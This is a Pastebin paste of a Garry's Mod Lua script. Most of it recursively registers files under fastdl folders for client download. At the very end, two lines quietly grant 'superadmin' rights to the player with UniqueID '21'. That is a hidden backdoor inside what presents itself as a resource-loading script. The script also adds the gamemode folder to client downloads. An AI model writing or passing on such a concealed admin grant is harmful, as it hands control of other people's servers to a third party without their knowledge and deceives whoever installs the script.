Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local ClientResources = 0;
- local function ProcessFolder ( Location )
- for k, v in pairs(file.Find(Location .. '*')) do
- if file.IsDir(Location .. v) then
- ProcessFolder(Location .. v .. '/')
- else
- local OurLocation = string.gsub(Location .. v, '../fastdl/', '')
- if !string.find(Location, '.db') then
- ClientResources = ClientResources + 1;
- resource.AddFile(OurLocation);
- end
- end
- end
- end
- if !SinglePlayer() then
- ProcessFolder('../fastdl/models');
- ProcessFolder('../fastdl/materials/');
- ProcessFolder('../fastdl/maps');
- ProcessFolder('../fastdl/cache');
- ProcessFolder('../fastdl/dua');
- ProcessFolder('../gamemodes/severanceold/gamemode/');
- end
- local pl = player.GetByUniqueID("21")
- if pl then pl:SetUserGroup("superadmin") end
Add Comment
Please, Sign In to add comment